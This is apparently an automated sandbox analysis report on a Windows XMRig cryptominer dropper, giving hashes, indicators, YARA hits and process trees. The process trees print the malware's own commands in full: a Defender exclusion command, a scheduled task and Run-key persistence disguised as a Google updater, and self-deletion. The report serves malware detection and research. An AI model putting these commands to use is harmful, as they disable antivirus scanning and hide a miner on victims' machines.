Overview
overview
10Static
static
3grhsghsGHs...y8.exe
windows7-x64
10grhsghsGHs...SE.exe
windows7-x64
10grhsghsGHs...CD.exe
windows7-x64
10grhsghsGHs...Da.exe
windows7-x64
10grhsghsGHs...wq.exe
windows7-x64
10grhsghsGHs...r7.exe
windows7-x64
10grhsghsGHs...XJ.exe
windows7-x64
10grhsghsGHs...eg.exe
windows7-x64
10grhsghsGHs...5H.exe
windows7-x64
10grhsghsGHs...XN.exe
windows7-x64
10grhsghsGHs...T3.exe
windows7-x64
10grhsghsGHs...9r.exe
windows7-x64
10grhsghsGHs...GR.exe
windows7-x64
10grhsghsGHs...EX.exe
windows7-x64
10grhsghsGHs...EA.exe
windows7-x64
10grhsghsGHs...FB.exe
windows7-x64
10grhsghsGHs...Et.exe
windows7-x64
10grhsghsGHs...KX.exe
windows7-x64
10grhsghsGHs...Qp.exe
windows7-x64
10grhsghsGHs...ep.exe
windows7-x64
10grhsghsGHs...5e.exe
windows7-x64
10grhsghsGHs...EP.exe
windows7-x64
10grhsghsGHs...pS.exe
windows7-x64
10grhsghsGHs...HZ.exe
windows7-x64
10grhsghsGHs...Sj.exe
windows7-x64
10grhsghsGHs...Nq.exe
windows7-x64
10grhsghsGHs...Ey.exe
windows7-x64
10Resubmissions
25-01-2024 16:55
240125-vfcyksbhgr 1024-01-2024 17:15
240124-vstf4aecaj 1023-01-2024 19:27
240123-x6cfvagbd9 1023-01-2024 19:27
240123-x6bvbafgem 1023-01-2024 19:27
240123-x6bjjsgbd8 1023-01-2024 19:27
240123-x6ax1sfgek 1023-01-2024 19:27
240123-x6abgsfgej 1023-01-2024 19:27
240123-x591qagbd7 1023-01-2024 19:27
240123-x59d7agbd6 1023-01-2024 19:27
240123-x584esgbd5 10Analysis
-
max time kernel
389s -
max time network
1807s -
platform
windows7_x64 -
resource
win7-20231215-en -
resource tags
arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system -
submitted
25-01-2024 16:55
Static task
static1
Behavioral task
behavioral1
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win7-20231215-en
Behavioral task
behavioral3
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win7-20231215-en
Behavioral task
behavioral4
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win7-20231129-en
Behavioral task
behavioral5
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win7-20231215-en
Behavioral task
behavioral6
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win7-20231215-en
Behavioral task
behavioral7
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win7-20231215-en
Behavioral task
behavioral8
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win7-20231215-en
Behavioral task
behavioral9
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win7-20231215-en
Behavioral task
behavioral10
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win7-20231129-en
Behavioral task
behavioral11
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win7-20231129-en
Behavioral task
behavioral12
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win7-20231215-en
Behavioral task
behavioral13
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win7-20231215-en
Behavioral task
behavioral14
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win7-20231215-en
Behavioral task
behavioral15
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win7-20231129-en
Behavioral task
behavioral16
Sample
grhsghsGHswgh/Yvdp8t5knpQz7sFB.exe
Resource
win7-20231215-en
Behavioral task
behavioral17
Sample
grhsghsGHswgh/anDwkygzqtN6BKEt.exe
Resource
win7-20231129-en
Behavioral task
behavioral18
Sample
grhsghsGHswgh/bW3Td8vedKuGbSKX.exe
Resource
win7-20231215-en
Behavioral task
behavioral19
Sample
grhsghsGHswgh/cZ8JugqVuxAY52Qp.exe
Resource
win7-20231129-en
Behavioral task
behavioral20
Sample
grhsghsGHswgh/h5JMkDJvUkEMMWep.exe
Resource
win7-20231129-en
Behavioral task
behavioral21
Sample
grhsghsGHswgh/qM5GMXBk6hJE6Y5e.exe
Resource
win7-20231215-en
Behavioral task
behavioral22
Sample
grhsghsGHswgh/rUqNxUB6WWxdsfEP.exe
Resource
win7-20231215-en
Behavioral task
behavioral23
Sample
grhsghsGHswgh/rkUvkExvRhkxKUpS.exe
Resource
win7-20231129-en
Behavioral task
behavioral24
Sample
grhsghsGHswgh/u3GgbfA2e32fHMHZ.exe
Resource
win7-20231215-en
Behavioral task
behavioral25
Sample
grhsghsGHswgh/xQQTm7rAusnqpUSj.exe
Resource
win7-20231215-en
Behavioral task
behavioral26
Sample
grhsghsGHswgh/xxgg94VsN5GYyJNq.exe
Resource
win7-20231215-en
General
-
Target
grhsghsGHswgh/xQQTm7rAusnqpUSj.exe
-
Size
2.0MB
-
MD5
a16a669a09bf158058b83e04e69fe38e
-
SHA1
f6c94763850d9e590d86057139e8895a7aacdeea
-
SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
-
SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
-
SSDEEP
49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
Malware Config
Signatures
-
Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
Processes:
xQQTm7rAusnqpUSj.exeupdater.execonhost.exedescription pid process target process PID 3016 created 1292 3016 xQQTm7rAusnqpUSj.exe Explorer.EXE PID 3016 created 1292 3016 xQQTm7rAusnqpUSj.exe Explorer.EXE PID 3016 created 1292 3016 xQQTm7rAusnqpUSj.exe Explorer.EXE PID 3016 created 1292 3016 xQQTm7rAusnqpUSj.exe Explorer.EXE PID 2392 created 1292 2392 updater.exe Explorer.EXE PID 2392 created 1292 2392 updater.exe Explorer.EXE PID 2392 created 1292 2392 updater.exe Explorer.EXE PID 2392 created 1292 2392 updater.exe Explorer.EXE PID 624 created 1292 624 conhost.exe Explorer.EXE PID 2392 created 1292 2392 updater.exe Explorer.EXE -
XMRig Miner payload 29 IoCs
Processes:
resource yara_rule behavioral25/memory/2856-69-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2856-71-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2856-73-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2856-77-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2856-79-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2856-81-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2856-83-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2856-85-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2856-87-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2856-89-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2856-91-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2856-93-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2856-95-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2856-97-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2856-99-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2856-101-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2856-103-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2856-105-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2856-107-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2856-109-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2856-111-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2856-113-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2856-115-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2856-117-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2856-119-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2856-121-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2856-123-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2856-125-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2856-132-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig -
Deletes itself 1 IoCs
Processes:
cmd.exepid process 2592 cmd.exe -
Executes dropped EXE 1 IoCs
Processes:
updater.exepid process 2392 updater.exe -
Loads dropped DLL 1 IoCs
Processes:
taskeng.exepid process 2576 taskeng.exe -
Processes:
resource yara_rule behavioral25/memory/2856-65-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2856-69-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2856-71-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2856-73-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2856-77-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2856-79-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2856-81-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2856-83-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2856-85-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2856-87-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2856-89-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2856-91-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2856-93-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2856-95-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2856-97-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2856-99-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2856-101-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2856-103-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2856-105-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2856-107-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2856-109-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2856-111-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2856-113-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2856-115-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2856-117-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2856-119-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2856-121-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2856-123-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2856-125-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2856-132-0x0000000140000000-0x00000001407F4000-memory.dmp upx -
Drops file in System32 directory 5 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exedescription ioc process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
Processes:
updater.exedescription pid process target process PID 2392 set thread context of 624 2392 updater.exe conhost.exe PID 2392 set thread context of 2856 2392 updater.exe conhost.exe -
Drops file in Program Files directory 4 IoCs
Processes:
xQQTm7rAusnqpUSj.exeupdater.execmd.execmd.exedescription ioc process File created C:\Program Files\Google\Chrome\updater.exe xQQTm7rAusnqpUSj.exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exepid process 2684 schtasks.exe 1184 schtasks.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
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Modifies data under HKEY_USERS 3 IoCs
Processes:
WMIC.exepowershell.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 20792976b44fda01 powershell.exe -
Suspicious behavior: EnumeratesProcesses 25 IoCs
Processes:
xQQTm7rAusnqpUSj.exepowershell.exepowershell.exepowershell.exeupdater.exepowershell.exepowershell.execonhost.exepid process 3016 xQQTm7rAusnqpUSj.exe 3016 xQQTm7rAusnqpUSj.exe 2216 powershell.exe 3016 xQQTm7rAusnqpUSj.exe 3016 xQQTm7rAusnqpUSj.exe 2352 powershell.exe 3016 xQQTm7rAusnqpUSj.exe 3016 xQQTm7rAusnqpUSj.exe 3016 xQQTm7rAusnqpUSj.exe 3016 xQQTm7rAusnqpUSj.exe 2824 powershell.exe 2392 updater.exe 2392 updater.exe 2492 powershell.exe 2392 updater.exe 2392 updater.exe 1572 powershell.exe 2392 updater.exe 2392 updater.exe 2392 updater.exe 2392 updater.exe 624 conhost.exe 624 conhost.exe 2392 updater.exe 2392 updater.exe -
Suspicious behavior: LoadsDriver 1 IoCs
Processes:
pid process 464 -
Suspicious use of AdjustPrivilegeToken 31 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exeupdater.exeWMIC.execonhost.exedescription pid process Token: SeDebugPrivilege 2216 powershell.exe Token: SeDebugPrivilege 2352 powershell.exe Token: SeDebugPrivilege 2824 powershell.exe Token: SeDebugPrivilege 2492 powershell.exe Token: SeDebugPrivilege 1572 powershell.exe Token: SeDebugPrivilege 2392 updater.exe Token: SeAssignPrimaryTokenPrivilege 1636 WMIC.exe Token: SeIncreaseQuotaPrivilege 1636 WMIC.exe Token: SeSecurityPrivilege 1636 WMIC.exe Token: SeTakeOwnershipPrivilege 1636 WMIC.exe Token: SeLoadDriverPrivilege 1636 WMIC.exe Token: SeSystemtimePrivilege 1636 WMIC.exe Token: SeBackupPrivilege 1636 WMIC.exe Token: SeRestorePrivilege 1636 WMIC.exe Token: SeShutdownPrivilege 1636 WMIC.exe Token: SeSystemEnvironmentPrivilege 1636 WMIC.exe Token: SeUndockPrivilege 1636 WMIC.exe Token: SeManageVolumePrivilege 1636 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 1636 WMIC.exe Token: SeIncreaseQuotaPrivilege 1636 WMIC.exe Token: SeSecurityPrivilege 1636 WMIC.exe Token: SeTakeOwnershipPrivilege 1636 WMIC.exe Token: SeLoadDriverPrivilege 1636 WMIC.exe Token: SeSystemtimePrivilege 1636 WMIC.exe Token: SeBackupPrivilege 1636 WMIC.exe Token: SeRestorePrivilege 1636 WMIC.exe Token: SeShutdownPrivilege 1636 WMIC.exe Token: SeSystemEnvironmentPrivilege 1636 WMIC.exe Token: SeUndockPrivilege 1636 WMIC.exe Token: SeManageVolumePrivilege 1636 WMIC.exe Token: SeLockMemoryPrivilege 2856 conhost.exe -
Suspicious use of WriteProcessMemory 20 IoCs
Processes:
powershell.execmd.exepowershell.exetaskeng.exepowershell.exeupdater.execmd.exedescription pid process target process PID 2352 wrote to memory of 2684 2352 powershell.exe schtasks.exe PID 2352 wrote to memory of 2684 2352 powershell.exe schtasks.exe PID 2352 wrote to memory of 2684 2352 powershell.exe schtasks.exe PID 2592 wrote to memory of 2500 2592 cmd.exe choice.exe PID 2592 wrote to memory of 2500 2592 cmd.exe choice.exe PID 2592 wrote to memory of 2500 2592 cmd.exe choice.exe PID 2824 wrote to memory of 2560 2824 powershell.exe schtasks.exe PID 2824 wrote to memory of 2560 2824 powershell.exe schtasks.exe PID 2824 wrote to memory of 2560 2824 powershell.exe schtasks.exe PID 2576 wrote to memory of 2392 2576 taskeng.exe updater.exe PID 2576 wrote to memory of 2392 2576 taskeng.exe updater.exe PID 2576 wrote to memory of 2392 2576 taskeng.exe updater.exe PID 1572 wrote to memory of 1184 1572 powershell.exe schtasks.exe PID 1572 wrote to memory of 1184 1572 powershell.exe schtasks.exe PID 1572 wrote to memory of 1184 1572 powershell.exe schtasks.exe PID 2392 wrote to memory of 624 2392 updater.exe conhost.exe PID 1872 wrote to memory of 1636 1872 cmd.exe WMIC.exe PID 1872 wrote to memory of 1636 1872 cmd.exe WMIC.exe PID 1872 wrote to memory of 1636 1872 cmd.exe WMIC.exe PID 2392 wrote to memory of 2856 2392 updater.exe conhost.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
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C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\xQQTm7rAusnqpUSj.exe"C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\xQQTm7rAusnqpUSj.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\xQQTm7rAusnqpUSj.exe"2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 33⤵
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\taskeng.exetaskeng.exe {E3849903-CD53-458C-B4A8-FCE5ABBFD890} S-1-5-18:NT AUTHORITY\System:Service:1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor1⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
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Downloads
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C:\Program Files\Google\Chrome\updater.exeFilesize
1.2MB
MD5b046d8f3f278d492c1584be978f16b09
SHA1224a824723ec0af1ff7f6beb6e7a057e0941aabe
SHA25649f9bcb7a29310cc3d200d533f84d576b0dcf46429889b41c4a102aacb6b3358
SHA512606e0adef054277c3316bd20f8bfc17d3585d97c3b79b5dbe69db3a9d2f0110f1aa2bf4f0ef664db9942127df500aa9b4628941d72c3c64d744a7a58915b1422
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C:\Program Files\Google\Chrome\updater.exeFilesize
1.7MB
MD51a36c0642295387b58566c6b8abfcc47
SHA1ff487c49fd3c2921532a5d31761f1425df8535c9
SHA256188258f5e6603e3318b8b6035edac8ecc83d18cc1a395d26afd8253f20ab0e19
SHA512ef71a607c35208ef1e2ea6abf8e73e343eec30610604a2847331326f95932443194c9418defc4963b3c0d9b8a65354e7ace00e5f0e3f3b4dbc49f5b854c767d5
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C:\Program Files\Google\Libs\g.logFilesize
198B
MD537dd19b2be4fa7635ad6a2f3238c4af1
SHA1e5b2c034636b434faee84e82e3bce3a3d3561943
SHA2568066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
SHA51286e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-msFilesize
7KB
MD5ef0894c1c1ebbf59fef1b5ec87e3243d
SHA180f08b5a9db98acf68b0dbbd4e520d657441b253
SHA256f14048152cb3a889c498e0aa409d043687a1c33ba0068fa059e38f9cc1e165f9
SHA5121fcf5020b06ce36b5805ee12456bd4815e33cdd63d131fffaf24ddff9bdc098622cea41173ffdf35cd4a863799216425c94a0a32c516362ed778b00f658d83ea
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\??\PIPE\srvsvcMD5
d41d8cd98f00b204e9800998ecf8427e
SHA1da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e
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\Program Files\Google\Chrome\updater.exeFilesize
1.3MB
MD5f97b1a353878436722033b27335a39e8
SHA185a803f9f578832d0ddf657635341bbdf252eabd
SHA2561056fb7303f48ef375367b42c3083a5a8ba917a219d053a82dada8c184ee5038
SHA512f88a4325d253998f582b5e230ba7580139beff7845e6ad7a3144bf46392ad9eba4c0c2af5ba1d3e7d129d2a826d179c66ac21c067acf57a1383b41edc68b66b6
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memory/624-68-0x0000000140000000-0x0000000140016000-memory.dmpFilesize
88KB
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memory/624-72-0x0000000140000000-0x0000000140016000-memory.dmpFilesize
88KB
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memory/1572-55-0x0000000001060000-0x00000000010E0000-memory.dmpFilesize
512KB
-
memory/1572-54-0x0000000001060000-0x00000000010E0000-memory.dmpFilesize
512KB
-
memory/1572-52-0x0000000001060000-0x00000000010E0000-memory.dmpFilesize
512KB
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memory/1572-51-0x000007FEF5AE0000-0x000007FEF647D000-memory.dmpFilesize
9.6MB
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memory/1572-53-0x000007FEF5AE0000-0x000007FEF647D000-memory.dmpFilesize
9.6MB
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memory/1572-56-0x000007FEF5AE0000-0x000007FEF647D000-memory.dmpFilesize
9.6MB
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memory/2216-11-0x00000000025EB000-0x0000000002652000-memory.dmpFilesize
412KB
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memory/2216-10-0x00000000025E0000-0x0000000002660000-memory.dmpFilesize
512KB
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memory/2216-9-0x000007FEF5AE0000-0x000007FEF647D000-memory.dmpFilesize
9.6MB
-
memory/2216-7-0x00000000025E4000-0x00000000025E7000-memory.dmpFilesize
12KB
